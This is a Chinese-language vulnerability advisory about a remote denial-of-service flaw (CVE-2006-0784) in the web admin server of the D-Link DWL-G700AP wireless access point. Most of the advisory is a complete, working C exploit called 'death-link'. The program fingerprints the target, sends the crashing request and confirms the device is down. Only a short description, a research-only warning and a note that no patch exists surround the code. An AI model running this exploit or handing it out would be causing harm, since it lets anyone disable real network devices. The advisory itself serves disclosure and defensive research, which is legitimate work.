安全研究

安全漏洞
D-Link DWL-G700AP httpd远程拒绝服务漏洞

发布日期:2006-02-16
更新日期:2006-02-16

受影响系统:
D-Link DWL-G700AP v2.01
D-Link DWL-G700AP v2.00
描述:
BUGTRAQ  ID: 16690
CVE(CAN) ID: CVE-2006-0784

D-Link DWL-G700AP是一款无线接入路由器。

D-Link DWL-G700AP的HTTP管理界面实现上存在漏洞,远程攻击者可以利用此漏洞导致HTTP服务器失去响应。

如果要配置DWL-G700AP的话,必须要通过http服务,而该服务是由名为CAMEO的httpd管理的。这个webserver中存在拒绝服务漏洞。攻击者只要发送“GET \n\n”字符串就可以导致服务崩溃。

<*来源:l0om (l0om@excluded.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114011234012138&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define          DOSSTRING          "GET \n\n"
#define          TARGET                  "CAMEO-httpd"
#define          DESTPORT         80

int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);

int main(int argc, char **argv)
{
         int fd, i, check = 0;
         char *ip = NULL;

         header();

         if(argc > 1)
                  for(i = 1; i < argc; i++)
                           if(argv[i][0] == '-')
                                    switch(argv[i][1]) {
                                             case 'o':
                                                      check = 2;
                                                      break;
                                             case 'c':
                                                      check = 1;
                                                      break;
                                             case 'h':
                                                      help();
                                                      break;
                                             default:
                                                      printf("\t>> %s << unknown option\n",argv[i]);
                                                      exit(-1);        
                                    }
                           else ip = argv[i];

         if(ip == NULL) help();

         if(check) {
                  printf("\tchecking target... "); fflush(stdout);
                  i = check_httpd(ip);
                  if(i <= 0) {
                           printf("faild! ");
                           if(!i) printf("invalid target webserver\n");
                           else printf("webserver already dead?\n");
                           exit(-1);
                  }
                  else printf("done! valid victim detected\n");
                  if(check == 2) return 0;
         }

         printf("\tsending DoS... "); fflush(stdout);
         if(DoS(ip) <= 0) {
                  printf("faild!\n");
                  return -1;
         } else printf("done!\n");

         sleep(1);
         printf("\tchecking webserver status... "); fflush(stdout);
         if(!alive(ip)) printf("%s DEAD\n",TARGET);
         else printf("%s on %s is still alive :( \n",TARGET,ip);

         return 0;
}

int check_httpd(char *ip)
{
         int sockfd, nbytes, len, i = 0;
         char buf[500], pattern[] = TARGET, *ptr;
         struct sockaddr_in servaddr;

         if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                  perror("socket");
                  exit(-1);
         }
         servaddr.sin_family = AF_INET;
         servaddr.sin_port = htons(DESTPORT);
         servaddr.sin_addr.s_addr = inet_addr(ip);

         if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
                  return -1;
                 
         if(!write(sockfd, "GET / HTTP/1.0\n\n", 16))
                  return 0;
         else nbytes = read(sockfd, buf, 500);
        
         len = strlen(pattern);
         ptr = buf;

         while(nbytes--) {
                  if(*ptr == pattern[i])
                           i++;
                  else i = 0;
                  if(i == len) return 1;
                  else ptr++;
         }
         return 0;
}

int alive(char *ip)
{
         int sockfd, nbytes, len, i = 0;
         char buf[500], pattern[] = TARGET, *ptr;
         struct sockaddr_in servaddr;

         if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                  perror("socket");
                  exit(-1);
         }
         servaddr.sin_family = AF_INET;
         servaddr.sin_port = htons(DESTPORT);
         servaddr.sin_addr.s_addr = inet_addr(ip);

         if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
                  return 0;
         else return 1;
}

int DoS(char *ip)
{
         int sockfd, nbytes, len, i = 0;
         char buf[500], pattern[] = TARGET, *ptr;
         struct sockaddr_in servaddr;

         if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                  perror("socket");
                  exit(-1);
         }
         servaddr.sin_family = AF_INET;
         servaddr.sin_port = htons(DESTPORT);
         servaddr.sin_addr.s_addr = inet_addr(ip);

         if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
                  return 0;
         else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}

void help(void)
{
         printf("\tdeath-link [options] <ip-address>\n");
         printf("\t-o: ONLY CHECK for valid target\n");
         printf("\t-c: check for valid target\n");
         printf("\t-h: help\n");
         exit(0);
}

void header(void)
{
         printf("\tdeath-link - written by l0om\n");
         printf("\t     WWW.EXCLUDED.ORG\n");
         printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET);
}

建议:
厂商补丁:

D-Link
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dlink.com/

浏览次数:3776
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障